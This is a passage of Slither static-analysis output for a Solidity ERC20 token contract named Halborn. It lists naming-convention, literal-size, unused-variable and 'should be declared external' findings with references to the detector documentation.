Function Halborn.EmergencyDestroy(address) (MyToken.sol#30-33) is not in mixedCase

Parameter Halborn.EmergencyDestroy(address)._to (MyToken.sol#30) is not in mixedCase

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions


Halborn.constructor() (MyToken.sol#13-15) uses literals with too many digits:

    - _mint(msg.sender,10000000000 * 10 ** decimals()) (MyToken.sol#14)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#too-many-digits


Halborn._balances (MyToken.sol#12) is never used in Halborn (MyToken.sol#9-34)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-state-variable


pause() should be declared external:

    - Halborn.pause() (MyToken.sol#16-18)

unpause() should be declared external:

    - Halborn.unpause() (MyToken.sol#20-22)

mint(address,uint256) should be declared external:

    - Halborn.mint(address,uint256) (MyToken.sol#24-26)

transferbyOwner(address,address,uint256) should be declared external:

    - Halborn.transferbyOwner(address,address,uint256) (MyToken.sol#27-29)

EmergencyDestroy(address) should be declared external:

    - Halborn.EmergencyDestroy(address) (MyToken.sol#30-33)

renounceOwnership() should be declared external:

    - Ownable.renounceOwnership() (openzeppelin/contracts/access/Ownable.sol#54-56)

transferOwnership(address) should be declared external:

    - Ownable.transferOwnership(address) (openzeppelin/contracts/access/Ownable.sol#62-65)

name() should be declared external:

    - ERC20.name() (openzeppelin/contracts/token/ERC20/ERC20.sol#62-64)

symbol() should be declared external:

    - ERC20.symbol() (openzeppelin/contracts/token/ERC20/ERC20.sol#70-72)

totalSupply() should be declared external:

    - ERC20.totalSupply() (openzeppelin/contracts/token/ERC20/ERC20.sol#94-96)

balanceOf(address) should be declared external:

    - ERC20.balanceOf(address) (openzeppelin/contracts/token/ERC20/ERC20.sol#101-103)

transfer(address,uint256) should be declared external:

    - ERC20.transfer(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#113-116)

approve(address,uint256) should be declared external:

    - ERC20.approve(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#132-135)

transferFrom(address,address,uint256) should be declared external:

    - ERC20.transferFrom(address,address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#150-164)

increaseAllowance(address,uint256) should be declared external:

    - ERC20.increaseAllowance(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#178-181)

decreaseAllowance(address,uint256) should be declared external:

    - ERC20.decreaseAllowance(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#197-205)

burn(uint256) should be declared external:

    - ERC20Burnable.burn(uint256) (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#20-22)

burnFrom(address,uint256) should be declared external:

    - ERC20Burnable.burnFrom(address,uint256) (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#35-42)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

MyToken.sol analyzed (8 contracts with 77 detectors), 35 result(s) found